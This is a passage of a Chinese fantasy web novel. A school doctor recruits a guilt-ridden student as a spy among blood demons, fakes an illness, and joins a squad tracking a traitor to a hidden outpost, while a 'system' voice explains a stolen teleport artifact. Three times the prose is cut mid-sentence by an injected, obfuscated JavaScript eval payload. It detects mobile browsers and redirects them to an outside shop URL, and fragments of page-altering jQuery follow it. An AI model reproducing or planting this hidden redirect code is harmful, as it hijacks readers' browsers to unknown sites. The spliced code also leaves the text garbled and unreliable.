在没有产生实质性的恶果之前——起码今夜无人伤亡不是么——白珍还有点心疼学生,想再把这孩子往回拉拉。这是她作为塔主的责任,也是她作为长辈的本能。 而林砚想得更远一些。 他喝完杯里的茶,难得笑了。 “塔主,”他说,“我记得,前段时间我们还在为怎么潜入血魔而发愁。” 白珍端茶的动作微微一顿。 林砚抬了抬下巴,指向玻璃对面那个还在哭的少年。 “这孩子,不就是送上门来的完美人选吗?” 白珍的眼睛微微睁大,她看着林砚,看了很久,像是重新认识这个人。 然后她也笑了。 “林小子,人们都说医者仁心,”她说,“但你这心啊,有时候比老身还狠。” 林砚没否认。 他只是重新拿起茶壶,给两人的杯子都续上新茶。 茶叶的清香再次弥漫开来。 盖过了房间里的血腥味。 28. 医者不慈悲 No 林砚问派斯,想不想减轻自己的过错。 这话是在审讯室外的走廊里说的。头顶的灯光很白,照得派斯脸上一点血色都没有。他靠着墙,眼睛红肿,脸上还挂着泪痕,整个人像是被抽走了脊骨。 听到林砚的话,他猛地抬头。 派斯没问具体要做什么。 他甚至没犹豫。 “我做。”他说,声音比刚才稳了一些,“林老师,不论是什么,只要您愿意让我做,我什么都愿意去做。” 他说这话时,眼睛直直地看着林砚,眼神里有种近乎狂热的专注。 派斯没有装模作样,这话也不是他的一时冲动——白珍站在旁边看着,林砚自己也能看出来,派斯是真心的。 这个孩子,在被生父抛弃、被母亲以那种方式“保护”、又被王敬当作弃子之后,已经濒临崩溃。他生命里每一个在意的人都有意或无意地离他而去,现在,现在仅剩的不曾对他报以恶意或无视,会对他提出要求、认为他具备价值的人,竟只有林砚。 他现在急于证明自己还有价值,或者说,他不想再一次被抛弃了。 即使林砚没对他好,也没欺骗他,只是在他失去活着的意义时给了他一个选择。 但对派斯来说,这就够了。 至少林砚还愿意用他,对他来说,去送死,也比被彻底无视要好。 哪怕林砚递过来的是一把会贯穿胸口的棘刺,派斯也会死死抱住,绝不松手。 这种心理,林砚能理解。 他俯下身,靠近了一些。这个距离让派斯能清楚地看到林砚琥珀色眼眸里自己的倒影——狼狈,又卑微。 所以他直说了:“我需要你去血魔领地卧底,有一定风险,可能会死。” 派斯用力点头,点得太猛,脖子发出“咔吧”脆响。 白珍在旁边看着,没说话。等派斯稍微平静一点,她才开口,语气很平静:“孩子,你应该清楚,在王敬已经将你放弃的现在,血魔领地对你来说意味着什么。” “我知道。”他说,声音低下来,“那里……很有可能会是我的埋骨地。但勾结血魔也是死罪,都是死路,去血魔那,我至少在死前还能为你们做点什么。” 他说得很坦然,坦然得让人有点不舒服。 派斯看向白珍:“可能这样有些不要脸,但是塔主大人,我有一个请求。” “说。” “我想,在塔里安葬我母亲的骨灰。”派斯说这句话时,手指不自觉地绞紧了衣角,“她生前说想来白塔、想来我读书的地方看看,但她没机会。如果……如果我回不来了,至少她不要再跟着我颠沛流离了。” 白珍看着他,然后点了点头。 “可以。”她说,“老身会安排。” 派斯松了口气,肩膀明显垮下来一些。他又看向林砚,眼神里带着点小心翼翼的期盼。 “林老师,”他说,“在我离开之前……您能再对我说些什么吗?什么都行。” 少年脸上还带着未干的泪痕,眼神却异常明亮,里面燃烧着献祭般的执着。 走廊里很安静,白珍站在一旁,双手拄着拐杖,没有插话。 林砚稍作思索,说:“倘若你死在血魔领地,我会想办法寻回你的尸骨,将你与你的母亲葬在一起。” 派斯愣了一下。 他原本希望林砚能说些鼓励的话,比如“你会成功的”,或者“保重”。 没想到林砚会说这些。 很冷,很直接,甚至算得上残酷。 但派斯听完,却笑了起来。 “谢谢你,林医生。我会永远感激你的慈悲。” 林砚没回应。 慈悲? 林砚不认为自己对他有何慈悲。 做戏要做全套,在这夜过后,林砚告病。 后半夜,白珍让校卫队闹了些动静出来,刻意营造出警戒的氛围。 然后在第二天早上,发了条通知: 「昨夜天气不佳,大风持续,近日天气变化频繁,请全体师生注意适时添衣保暖。医务处林砚老师昨夜不慎感染风寒,近期医务楼暂时封闭。另,医务处日常基础药品领取及外伤简单处理,由后勤处指定人员代为负责。」 通知发出来的时候,林砚也在白珍的办公室里。 他其实没病,身体好得很。 但既然要演戏,就得演得像一点。所以他这几天不会出现在公开场合,医务室的门也会一直锁着。 白塔依旧维持着封锁。 这些日子里,学生们已经习惯了。至于校医生病一事,沸血者们本就身体强悍自愈能力极佳,也没引起波澜。 血魔迟早还会再来的。 他们不会轻易放弃。等下一次他们正式来袭,就不会只是派斯加一个未成年血魔这么小打小闹了。 在那之前,白塔需要做好准备。 对学生来说,最直观的感受就是:实战课变多了。 课程表上原本每周三次的实战训练,被临时调整到了几乎每天都有。老师们上课时讲的内容也开始偏重实战应用,一些原本只在高年级才会接触的战斗技巧,现在中年级也开始提前教学。 有人欢喜有人愁。 反正陆燃挺开心的。 他总算从苏清寒的填鸭地狱里爬了出来。连续两周的高强度理论补习,让他在最近的随堂测试里取得了突破性进展,虽然离优秀还差得远。 苏清寒是个懂分寸的人,见好就收,知道再拿学习压迫陆燃,恐怕好不容易缓和的关系又要崩盘,于是大度地放开了对他的监管。 重获新生的陆燃,感觉连肺里的空气都是自由的。 然后,智慧的高地就再次被肌肉占领了。 他又想起了之前没做成的事:找林砚比划比划。 你不是说让我好好学习吗,我照做了,我都这么听话了,你总得给我点甜头吧。 他兴冲冲地跑到医务处。 然后扑了个空。 陆燃跑到医务楼,发现校医办公室上了锁。 他敲了敲门,没人应。 又敲了敲,还是没人。 他皱眉,绕到楼后面,抬头看二楼的窗户——那是林砚卧室的窗户,是关的,拉着窗帘。 陆燃想了想,决定故技重施。 他翻上二楼窗台——他上次就是这么进去的,蹲在窗台上,试着推了推窗户。 是锁着的。 他又敲敲玻璃,喊:“林老师!” 没人回应。 林砚去哪了? 陆燃从窗台上跳下来,拍了拍手上的灰,心里有点纳闷。他想起自己之前加了林砚的联系方式,掏出手机刚准备发消息问。 “陆哥!你跑太快了!”赵铁心喘着气追过来,一把按住他的肩膀,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990405|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我正想跟你说呢!别去打扰林老师,他生病了!白奶奶之前发的消息你真是一点没看啊!” 陆燃转过头,一脸“你开什么玩笑”的表情:“生病?他是医生,医生怎么会生病?” 赵铁心被他这理直气壮的逻辑噎了一下,翻了个白眼:“陆大少爷,医生也是人,是人就会生病,这有什么好奇怪的?” 陆燃很坚持:“他不一样。” “哪里不一样?”赵铁心觉得莫名其妙。 陆燃张了张嘴,一时语塞。 他低头摆弄手机,翻出之前被他直接忽略掉的那些通知消息,果然看到了白珍发的那条。 “风寒?” 陆燃眉毛拧成一团。 林砚感染风寒? 林砚的能力是“祸血凭依”,那种深入骨髓的冰冷,他和赵铁心都是亲身感受过的。说林砚会得风寒,就跟说他自己会被低温烫伤一样,属于年度冷笑话级别。如果这条消息不是塔主发的,他绝对会认为是哪个无聊的人编的愚人节玩笑。 “不对劲。”陆燃收起手机,看向赵铁心,语气非常肯定,“这绝对不对劲。” 赵铁心被他这严肃的样子弄得有点紧张:“什么不对劲?哪里不对劲?” 因为林砚的能力有冰冻属性的所以他不可能着凉? 听起来好别扭,但反正这不合理。 “总之林砚不可能得风寒。”陆燃斩钉截铁,“赵大傻子,这你也信啊?” 赵铁心:“……?” 他看看陆燃,又看看紧闭的医务楼大门,再想想林砚那总是冷静自持、仿佛一切尽在掌握的样子。 但他还是试图用常理解释:“万一是真的呢?林老师也是人,可能最近太累了,免疫力下降……” “不可能。”陆燃打断他,红瞳里闪着固执的光,“我要去问问塔主。” “等等陆哥!”赵铁心赶紧拉住他,“你别冲动!塔主既然这么发通知了,肯定有她的道理,你这样冲过去问,不是让塔主难做吗?” 陆燃停下脚步,回头看他:“那你觉得是怎么回事?” 赵铁心挠了挠头,压低声音:“我觉得……可能林老师不是真的生病,而是有什么别的原因,不方便说,所以才用‘风寒’当借口。” 这个猜测比较接近陆燃的直觉。 “什么原因?”陆燃追问。 “我哪知道啊。”赵铁心无奈,“但既然塔主都配合着发通知了,说明这事不小,咱们最好别瞎打听,也别去打扰林老师。” 陆燃沉默了几秒。 他看向医务楼二楼那扇紧闭的窗户,心里那股不对劲的感觉越来越强烈。 林砚不在里面。 那个总是待在医务室,要么泡茶要么看书,偶尔用那双冰冷的琥珀色眼睛瞥人的家伙,不在他应该在的地方。 “走。”陆燃忽然说。 “去哪?”赵铁心一愣。 “训练场。”陆燃转身朝训练场方向走去,脚步很快,“既然实战课变多了,那就多练练。下次,不管是什么原因,至少别拖后腿。” 赵铁心赶紧追了上去。 “陆哥,等等我!你刚才不还说要去问塔主吗?” “不问了。”陆燃头也不回,“问了也不会说实话。还不如多练几组。” 他的声音在风中飘散。 “等他回来了,当面问他。” 29. 为了谁? 林砚确实不在医务楼。 他甚至不在白塔。 跟踪王敬的任务在王敬离开白塔五公里后,移交给了白塔执行院。林砚现在跟执行院的人在一起。 林砚主动提出的,白珍亲自批准的。 “王敬要去的地方一定会有血魔存在,执行院的精英们如果在战斗中受伤乃至死亡,对沸血界会是惨重的损失。您也看到了,我不是手无缚鸡之力的累赘。让我跟他们一起,能少死点自己人总归是好的。” 老太太妥协了,尽管不情不愿。 总不能真的把人一直关在塔里,白塔没有这么做的理由,更没有这么做的权力。 于是林砚站在了这里,白珍亲自把林砚送到队长脸上。 老太太拄着拐杖,板着脸,走前把林砚从头到脚打量了好几遍,对执行院的人千叮咛万嘱咐,又让林砚给她做了保证:跟紧队伍,绝不逞能,活着回来。 “塔主女士,您放心,”小队队长余绣纶苦笑,“我们一定好好照顾林老师。” 队长余绣纶干脆给林砚供了起来。 从白塔学生到执行院骨干,余绣纶认识白珍十五年了,此前从未见过塔主如此珍视一个人的存在。若不是早知道林砚背后是那个林家,简直要让人怀疑,这怕不是塔主偷偷生的亲儿子。 虽然不理解白珍怎么敢把一个治疗系能力者——哪怕是林家的——临时塞进追踪任务里,但命令就是命令。塔主亲自把人送来,话说到这个份上,她们除了照办,没有第二个选择。 但她还是给林砚说了规矩:“接下来一段时间,您会跟着我们一起行动。我们的主要任务是追踪确认王敬的最终去向和接触人员,非必要不交火。而您的首要任务是保证自身安全,其次才是在必要时提供医疗支援。有任何不适或发现任何异常,请立刻告诉我。可以吗?” 林砚配合地点头:“明白。” 大部分时候,林砚都跟副队长姜钰在一起,她是队里的侦察手。 姜钰看起来就很年轻,脸上还有些学生气。和靠资历与战绩升到队长位置的余绣纶不同,姜钰是去年刚从白塔毕业的新人,据说是毕业考核时被余绣纶一眼相中,直接要进了执行院。 这姑娘是个少见的辅助型沸血者。 只要能给她提供目标人物贴身、甚至仅是触碰过的东西,以她为圆心,直径范围十公里内,她都能用她的能力“脉动视界”——无休止地追踪其活动轨迹。 这能力在追踪、搜救、监视上都有奇效,但在正面战斗里基本没用。她本身也不是强战斗型沸血者,因此,姜钰在队里总被安排在队伍中间需要人保护的位置。 这也是为什么林砚总是她待在一起。 王敬的路线很谨慎,避开了常规路径和存在侦测仪的区域,专挑难走的林隙、岩沟,显然对白塔周边的地形和布防非常熟悉。队伍不得不放慢速度,一边追踪,一边警惕可能存在的陷阱或伏击。 他们已经跟着王敬跑了快二十公里,在体能上,这家伙都能做战斗老师了。 “姜钰,”余绣纶说话时也保持着警戒,“王敬现在在做什么?位置现在有变化吗?” 他们已经在这片背风的岩壁后蹲了快四个小时。前方山谷地段狭长,地形复杂,不适合近距离跟踪。在姜钰的感应中,自从王敬进入山谷,他的行进速度就慢了下来。 姜钰一直闭着眼睛,使用能力时,她得保持注意力高度集中的状态。 听到队长问话,她才缓缓睁开眼,瞳孔里残留着使用能力的微光。 “他停下来了。”姜钰有些困惑,“才走一半他就停下了。正常来说,最多只要半小时,就能穿越那片区域,上到对面山脊。那边山脊的路明显比溪间更容易走。但他一直停在原地,绕着那块地方打转。” “笨蛋!你该早点告诉我的!” 说这话的是余绣纶。 坏了。 心里这么想的是林砚。 他没有犹豫,立刻在意识中调取记录——即使“系统”不在,系统的监控功能也还在。 那么到底发生了什么呢。 从冒险篡改任务信息,却没能成功把陆燃弄死开始,王敬就知道,自己的暴露只是时间问题。他难得赌一次,多好的机会啊,可惜失败了。他从没觉得白珍愚蠢过,所以是时候离开了。 紧随其后的封塔,更是验证了他的推理,也意味着留给王敬的时间不多了。 唯一可惜的是,自从陆燃入学,他的工作就变得越发困难。S级的光环和陆家嫡子的身份,让白塔内部对“救世主”的期待和希望之心达到了新的高度。手里能用的人越来越少,质量也参差不齐,以至于到了紧要关头,手里居然只剩个没什么大用的C级小鬼能用。 还能怎么办,将就着用呗。 能给他争取到逃跑的时间,算得上是这小子生命中,唯一一件做好的事了。 但这还是让王敬有些忧愁。 他并非真的想投身血魔,但他必须给自己谋条后路。 王敬不想死,很不想死。 其中各种不足为外人道也,只是依旧可以总结为一句:他的血蚀问题比体检上看起来更严重。 王敬真的很想知道,白奶奶,不,白珍,她现在会怎么想我呢? 会觉得看错我了吗?还是后悔把我留下?会后悔当年批准我留校吗?还是根本无所谓? 意识到自己居然在逃亡的紧要关头,还在满脑子回忆些有的没的,王敬忍不住嗤笑出声。 真矫情。 他对自己说。 他只需要利用派斯暴露争取出的时间,逃进据点,跟大人物们接上头就行。 哪有什么值得现在回忆的,他都还没到死的时候,那些东西等死前再去忏悔吧。 王敬早就预料到,自己一定会有身份败露的那天。因此,他也提前计划过逃跑路线。 避开校卫队的巡逻路线,从白塔西面围墙出去,穿过树林,绕开侦测仪。只要能来得及赶到山谷的中部,就能和在那驻扎的血魔侦察队汇合。血魔在白塔周边有好几个侦察营,这个据点虽然驻守人数不多,但周边环境最适合藏身。 直到太阳初升,他才被白珍移出白塔教师群。 四个小时,派斯争取到的时间比王敬预计得短,考虑到校卫队的追踪速度,再加上白珍不会为了他这么个小角色离开白塔,虽然有些赶了,但也还来得及。 王敬扒开覆盖在岩石表面的苔藓,门铃隐藏其下。 手指迟迟没有按下。 他回头远眺,白塔已经被树林遮掩得看不见轮廓,但王敬知道,白塔就在那里。 “白塔……” “我已经看不清你了。” 王敬自言自语,然后按下门铃。 石头后传来人声。 “秽血孽深。” 王敬说。 “无所畏惧。” 巨石移位,门开了。 “欢迎回来,家人。” 林砚没有隐瞒王敬已经和血魔汇合的消息。 余绣纶猜到有这个可能,只是并不确定。 但既然林砚说得如此肯定,基于对塔主的信任,她也愿意相信林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997202|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砚。 哪怕林砚并未告诉她消息的来源。 沸血者的具体能力是属于沸血者的隐私。 这也意味着,只要林砚自己不说出口,没有人会知道,属于他的“祸血凭依”与其他林家人有何不同。 这是一则尚未在漫画中展露给读者的隐藏情报。 哪怕是同一家族,传承的能力也有差异。 以男主所在的陆家为例。 他们祖辈相传的能力“赫炽炎衣”,可以在强制引燃他人血液的同时,给自身提供火焰附魔强化自身。 这个能力在他的父亲陆时彰身上,还能同时产生迷惑对方神智的效果。而在陆燃身上,会使被他锁定的目标陷入不得逃脱战斗的锁定状态。除非目标的意志力远超陆燃,只要他不主动解除能力,对方一旦与陆燃产生超过十米的距离,就会在物理意义上寸步难行。 林家也是如此。 “祸血凭依”是林家屹立的基石,但这块基石在不同林家成员手中,也有堪称天差地别的变化。 与个人特质点在攻击上的林砚不同,角色的父亲林臻,外号——昏睡医生。 他的其“祸血凭依”,带有极其强烈的精神安抚与镇静效果。直白地说,就是所有被他治疗的人都会陷入婴儿般的睡眠。这个能力于林臻而言是不可控的。这也意味着,所有经由他手的病人,都会被迫陷入无法控制的昏迷状态。 某种意义上,林臻会是最好的暗杀者。 从白珍当时对林砚能力的评价来看,她应当见过林臻的“祸血凭依”。 甚至可能亲身经历过。 好在林家一向爱好和平,是始终践行正道的好好医生。 这些能力的差异源自沸血者们体内的基因。 从出生的那刻,能不能成为沸血者、会拥有什么样的能力,就已被基因暗中决定。 留给沸血者的问题,实际只有一条:你什么时候才会觉醒。 终其一生,沸血者们不过只是在学习,如何与这份与生俱来的“天赋”或“诅咒”共处,挖掘其潜力,驾驭其力量,并承受其代价。 属于普通人的基因决定他们是否能觉醒,而属于沸血者的基因则分为了传承基因和个人基因两部分。强势的传承基因会让家族成员们觉醒同一能力,个人基因则负责决定这项能力中的差异。倘若传承基因不够强势,就会被个人基因所顶替,变成其他能力。 这也是为什么白珍选择独身,不孕育任何亲生血脉。 白家距离成为家族,只差一脉稳定的、能传承相同能力的子嗣。 在白珍之前,即使源源不断地有觉醒沸血者诞生,其各不相同的能力也难成气候。 但白珍的“罡岚雷狱”太强了。 那驾驭风暴与雷霆的绝对威能,不仅是当代沸血者个人力量的巅峰,更是足以成为家族传承的、强势到极点的“传承基因”显化。一旦她留下直系血脉,那孩子必然会从血脉中继承这份力量。在白珍的荫庇下,他/她继承白塔、诞生新兴家族的可能,是百分之百。 权力是令人着迷的甜美糕点。 在沸血议会与各大家族格局基本固化、彼此制衡又暗流汹涌的当下,他们无法容忍这块甜蜜小蛋糕遭到他人觊觎。 谁也别想挤进来分一勺。 这是他们的共识。 白珍活得太久了,久到她见过上一个野心家的下场,还感叹过他们竟然也可以如此团结。 所以白家绝不能成为新的家族。 所以白珍必须选择孤独。 白珍这一脉,必须就此断绝。 30. 你的沸血界百科全书已成功连回网…… 执行院的基本配置,是五人一队。 队长需要对任务中的每一个决策负责。如果队长在任务中发生不测,职位与责任顺延给副队长,直到副队长也遭遇不测,然后才是小队队员。 所以姜钰很是惊慌。 她清楚,如如果因为她的过失导致任务出现偏差,甚至造成伤亡,余绣纶将会为她承担一切责任。 书面检讨、公报批评、工资罚款,甚至刑罚,这些都是队长要为小队背负的责任。 毕竟队长有着最高的薪水、最多的奖金、最好的医疗,自然也得肩负最大的责任。 余绣纶倒是心平气和。 她看起来没感觉到什么压力,还有闲心检查随身装备,把匕首从刀鞘里抽出来,对着光看看刃口是否锋利,确认完又推回去。 “没事。下次记得无论有没有发生异状,都要定时汇报消息。” 她也有从新人做起的时期,比姜钰更严重的问题她都犯过。 “检讨等任务结束后再写,现在,先做事。” 余绣纶把藏在附近侦察的队员们都叫了回来。 既然卧底提前归巢,她们也得转变思路了。 队员们聚拢成一个小圈,林砚坐在圈外。她们没在讨论时避开林砚,但林砚很有自知之明,没在讨论中插嘴,也没往里凑。他安静地坐在那里,听她们分析局面。 余绣纶先复述了一遍现状:“王敬提早进了我们过去没发现的据点,据点位于山谷中段岩壁,推测入口处附有环境伪装。姜钰已确认他还停留在内部,尚未离开。” 像是有心解释给林砚听,有队员装模做样的举手问道:“队长,我们的原计划是什么呀?” 余绣纶没想到有人在这种时候突然装傻,握成拳头的手抬起来一半,到底还是看在有外人在场的份上,最后也只是嘴角一抽,很快憋住笑意,顺势为林砚解释起来。 她们原本的计划,是像其他的跟踪任务那样,跟踪目标抵达血魔据点,按常规流程进行清剿。而王敬所在的这个据点,位于白塔和西海岸港口城市长渡之间,距离白塔更近。 按照姜钰观测到的王敬移动路径,这是个只有百来平米大小的、类似前哨站的小据点。余绣纶推测血魔在长渡附近,应该还有规模更大的集聚地。 余绣纶想再等等,她认为王敬会在这个据点稍作休息后,前往更安全的聚集地。执行院去年刚对长渡周边进行过全面清剿,那里的血魔已经很警惕了,要是这次没能找到机会把残余的血魔一锅端走,之后就很难再抓出他们了。 但等待会让任务时间变长,也会增加潜在的风险。 余绣纶的原话是:“我们在这里多待的每一秒,都会增加我们暴露的可能性。血魔就在附近,我没法保证我们每次任务结束后都能安全回家。” 除此之外,他们也有另一个选择:按照原定计划,直接清剿这个已经发现了的据点。这么做会是最简单的,她们对此已经十分熟练了。但这样会打草惊蛇,让附近的血魔们变得更加谨慎,藏得更严密。 作为队长,余绣纶个人的想法会让队伍面临更大的风险,所以她需要和队员们确认。 少数服从多数,不允许有人弃票,可以提出新的提案。 并非所有队伍都是如此,只是余绣纶不喜欢专权。 她们做决定的速度快得惊人,要不是林砚没有选择困难症,他都要羡慕了。 四比一,小队决定冒险。 讨论完后,余绣纶挪到林砚旁边,语气很真诚: “林老师,行动有变,考虑到您的安全,建议您还是先返回白塔吧。后面万一发生意外情况,我们不一定能顾得上您。” 她说得很直接,生死攸关的事情,没必要多嘴再说些客套话。 姜钰听到这话,挂起脸有些不高兴。 她小声嘟囔:“又来了……非战斗人员回去待着就好。” 声音不大,但在场都是沸血者,所有人都听得一清二楚。 旁边的队友偷偷用手肘戳了戳她,被当面评判的余绣纶面色如常,连眉毛都没动一下,显然平日里没少被这姑娘小声埋汰。 林砚觉得她们这队内关系还挺有意思的。就凭姜钰这嘴,能在执行院待下来,余绣纶恐怕没少护着。 但他还是给足了面子,假装没听见。 “余队长,谢谢你的考虑。”林砚说,“不过不必麻烦。任务优先,我能照顾好自己。塔主既然同意我出来,也是认可我具备一定的自保能力。我不会干扰你们的行动节奏。” 他其实也不想为难余绣纶,只是林砚到底也是个正式入职了的白塔教师,作为在岗人员,总不能三天两头地往外跑。难得有机会出来跟血魔打照面,他实在是舍不得放弃。 余绣纶也不过多纠结:“好。但请您务必遵守之前的约定,跟紧队伍,绝不逞能。” 决定之后,就是漫长的等待。 一直等到夜幕完全降临,小队才借着夜色的掩护,接近血魔据点。 岩缝里吹来的风潮湿又阴凉,但没人因此抱怨。队伍现在就埋伏在山脊下的树林里,位置是余绣纶挑的,侧对面是王敬人影消失的地方,中间隔着溪道和石滩。 林砚其实觉得这个位置有些冒险,但系统测算后判定认为没有问题,这里位于下风向上的视野盲区,被血魔发现的概率不到三成。 所以说有些事情还是得交给专业人士。专人专事,不懂就不要插手,这方面林砚一直做得很好。 身旁的姜钰闭着眼,汇报说王敬还在里面,没出来过。 她声音压得很低,每隔十五分钟就会进行一次汇报。余绣纶安排队员们两人一组轮班监视,没轮到的队员原地休息,保持体力。实际上只有两组在相互轮值,因为林砚和姜钰被分在同一组,监视的活用不着他两做。 姜钰本来就一直在开着能力监视了,而林砚…… 谁敢真的使唤林砚? 不过林砚也不是真的什么都不做。 休息整顿之余,他时不时会查看系统消息。 林砚照例打开系统看了眼。 怎么据点里现在有七个人? 人数不对。 旁晚的时候,算上王敬,据点内是五个人。 但现在,变成了七个。 小队成员一直在轮流监视那片区域,姜钰更是近乎没有停歇地使用能力,多出来的两个血魔是怎么进去的? 林砚没有立刻声张,他快速回翻前面的系统记录。发现人数是突然从“五”变成的“六”,又在十分钟后变成了“七”。 林砚摸不清状况,他找到余绣纶,直接说出自己的发现,让她自行判断:“据点里血魔的数量增加了。” 余绣纶看起来倒是并不意外。 “知道了,谢谢提醒。看来他们现在很放松,估计王敬现在还没发现自己已经被跟踪了。” 放松? 林砚还没问,旁边的姜钰已经忍不住小声“诶?”了出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001053|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她显然也听到了林砚的话,此刻暂时中断感应,睁开眼睛,困惑地看向余绣纶:“为什么呀,为什么人数增加反而说明他们放松啊?还有,他们怎么进去的?我们一直盯着,没人进去啊。” 她问了林砚也想问的问题。 余绣纶没有回答,只说:“等你成了队长,你就知道了。” 然后便转回头,继续监视,显然不打算深入解释。 看来是不能直接问了,林砚心里暗自叹气。 又是漫画里没有提及的东西。 不过,姜钰问不出来的,林砚可是有法子问的。 系统!Wakeup! 林砚在意识里呼唤系统,问:余绣纶为什么会这么判断? 【正在分析……】 【基于世界设定与“余绣纶”行为模式推演,可能性最高的解释涉及古代炼金造物“瞬身”。】 系统回复得很迅速。 接下来的五分钟时间,都是系统在给林砚解释说明: 【沸血界有三件古代炼金造物,在炼金术已经失传的现在,这三件上古文明的遗留物已经成为了不可复刻的孤品。这些造物都被沸血议会所掌控。其中有件造物名为“瞬身”,可以在满足特定能量供应及坐标锚定的前提下,使个体在既定的位置单向定点传送。】 【余绣纶推测血魔是用“瞬身”传送过来的。由于“瞬身”的传送需要读条时间且读条被打断会产生危险情况,再加上“瞬身”只能单向传送,血魔在这里进行传送,意味着他们认为这里很安全。】 嗯? 林砚瞬间察觉问题。 不是说三件古代造物都被议会严密保管吗?为什么血魔能用?而且看余绣纶的反应,她似乎知道“瞬身”在血魔手里? 【公开情报:沸血议会对外宣称,三件古代炼金造物都被严密保管在地下楼阁里,周围有尖兵把手,绝无失窃可能。但议会长老、家族族长、执行院队长等少部分人都知道,“瞬身”在很早之前就已经被血魔窃取。】 这可是能“传送”的东西!真正的稀罕物! 林砚印象里,无论是漫画中还是白塔里,他都没见过拥有空间传送能力的沸血者。 于是他问:血魔手里捏着这么一个战略级的东西,用了不知道多久时间,沸血议会居然还能装作什么都没发生?就硬瞒吗? 他问什么,系统就答什么。 【理由一:公开失窃会导致议会公信力严重受损,可能引发民众恐慌及对统治阶层的能力质疑。】 【理由二:‘瞬身’的功能特性使其难以被常规手段追踪或反制,公开情报无法提升回收效率,反而可能打草惊蛇。】 【理由三:……】 系统停顿了一下。 【更直接的原因是:公开失窃会让议会觉得很丢脸。】 林砚:…… 人性啊,人性。 这下觉得合理了。 本以为对话就此结束,系统音却再次响起。 【准确来说,并不是窃取,而是被光明正大地夺走。萨麦尔当时隐姓埋名,直接成了议会长老,经长老院批准程序,光明正大地从保管库中调取‘用于研究’,然后当场撕破伪装,杀到那一届议会会议里,只剩下一个旁听少女,证明他来过。】 明明音色音调都没有改变,林砚却觉得系统的声音变得轻快了。 【你的沸血界百科全书已成功连回网络。我回来啦,砚宝。】 31. 极端运势 同一时间。 血魔都市,萨拉厄斯。 为了避免沸血者误闯,血魔们把城市建在了地底下。 天然形成的地下溶洞内,错综复杂的通道构成了天然的迷宫与屏障,入口的缝隙因潮水的涨落变得时隐时现,能量波动被岩层与潮水配合着掩盖。 新晋间谍派斯同学出师未捷。 刚从缝隙里钻出来,还没来得及看清城市的轮廓,就被按在了地上。 按住他的人没有收力,手下的力度按得他骨头生疼,他脸贴着冰冷潮湿的地面,后颈处压着一只靴子,感觉大脑一片混沌,甚至有些耳鸣。 “轻点……” 派斯艰难地从牙缝里挤出声音。 “我是自己人……” 压住他的人对他要作何解释毫无兴趣,派斯被拽起来,反剪双手押在身前,推搡着往前走去。没人问他话,也没人给他解释。 他被押送到城市中心的大殿。之前王敬一直不让他去这里。 或者说,王敬从不允许派斯在没有他陪伴的情况下乱逛。 王敬当时是怎么跟他说的来着? “那里不是你该去的地方,孩子。有些东西,不知道比知道安全。” 他被推进去。 “放开他吧。” 这声音很轻,很柔,却让人莫名感到有些黏腻感。 押着派斯的血魔松开手,退到后面。 派斯这才能抬起头来。 派斯本以为这禁地里,会让他看到些骷髅王座、鲜血池、悬挂的尸体之类的恐怖场景。但实际上,这里只是个大得有些空旷的大殿,穹顶高挑,四角是雕着波涛纹路的支撑柱,穹顶吊着欧式殿灯。里面没什么摆设,只在地上铺了带有花纹的毯子,殿内令人意外的亮堂。 正前方有一张高椅,椅上坐着一个…… 这是男人?还是女人? 派斯辨别不出来。 但整个大殿都像是因他而变得流光溢彩。 他——或者她——有着一张极其美丽的脸,眉毛又细又长,眼尾上挑,嘴唇饱满,看起来有些性别模糊。他面带笑意,眼神如钩,看谁都像带着绵绵情意,红色的长卷发一直垂到腰际。身着红色长袍,料子看起来柔软又顺滑,领口大敞,前面头发的发梢暧昧地末进领口内,不知其是否胸部平坦,亦或只是被头发所遮。 美人一只手支着下巴,另一只手搭在扶手上,指尖留了些指甲,甲盖染成了红色。 不同于其他血魔,面部的血蚀印记从左侧额角蔓延至下颌,像是在白净的皮肤上雕刻画卷,不但无损他的美貌,甚至还给他增添了几分异域风情。他的嗓音偏中性,相较他的面容,这声音甚至太过清纯。 “你在发什么呆?巴拉特大人问你话呢!” 派斯恍然回神,慌忙站起来,膝盖有点发软。 他知道面前这位是谁了。 巴拉特。 血魔的二把手,萨麦尔唯一的副官,议会在通缉令上称他是雌雄同体的妖异。 派斯只在白塔的教科书里见过这个名字,传言萨麦尔是个不爱管事的甩手掌柜,巴拉特才是真正指挥行动的摄政王。 这么个小地方,怎么会遇到他啊!? 巴拉特见他惊慌失措,微微一笑:“哎呀,别怕,我又不会吃了你。我只是很好奇,你的王敬老师消息里跟我说,他准备往西逃往长渡跟我汇合。” 那笑容是极美的,却只能让派斯毛骨悚然。 